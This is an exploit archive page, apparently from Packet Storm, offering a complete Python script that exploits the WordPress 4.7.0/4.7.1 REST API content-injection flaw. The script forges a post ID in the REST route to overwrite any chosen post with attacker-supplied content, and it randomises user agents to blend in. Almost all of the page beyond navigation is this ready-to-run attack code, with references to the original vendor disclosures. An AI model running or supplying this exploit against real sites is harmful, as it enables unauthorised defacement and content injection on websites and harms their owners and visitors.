exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation

WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation
Posted Feb 2, 2017
Authored by Dustin Warren

WordPress versions 4.7.0 and 4.7.1 REST API post privilege escalation and defacement exploit. Originally vulnerability discovered by Sucuri's research team.

tags | exploit
SHA-256 | bd58209139b43f7c9b7d2e53c961dfc5458fe627f7b590f162c4620fa054b329

WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation

Change Mirror Download
#!/usr/bin/env python
'''
WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit

@dustyfresh
Date: 02-01-2017

Original vuln disclosed by Sucuri's research team

Reference:
https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
https://wpvulndb.com/vulnerabilities/8734
https://blogs.akamai.com/2017/02/wordpress-web-api-vulnerability.html
https://blog.cloudflare.com/protecting-everyone-from-wordpress-content-injection/
'''
import requests
from fake_useragent import UserAgent
import argparse
import urllib.parse
import random
import string

def attack(target, postID, payload):
ua = { 'user-agent': UserAgent().random }
uwotm8 = ''.join([random.choice(string.ascii_letters) for n in range(8)])
sploit_api = 'http://{}/index.php?rest_route=/wp/v2/posts/{}&id={}{}&content={}'.format(target, postID, postID, uwotm8, payload)
attack = requests.post(sploit_api, data = {}, headers=ua, verify=False)
if attack.status_code == 200:
print('Payload sent to {} with 200 status'.format(target))
else:
print('Payload sent to {}, but we are not sure if the attack was successful as {} was the response'.format(target, attack.status_code))


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit')
parser.add_argument('--target', '-t', type=str, required=True, help='Post ID in which the payload will be applied')
parser.add_argument('--postID', '-pid', type=str, required=True, help='Post ID in which the payload will be applied')
parser.add_argument('--payload', '-p', type=str, required=True, help='What you would like to replace the post with')

args = parser.parse_args()
target = args.target
postID = args.postID
payload = urllib.parse.quote_plus(args.payload)
attack(target, postID, payload)

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close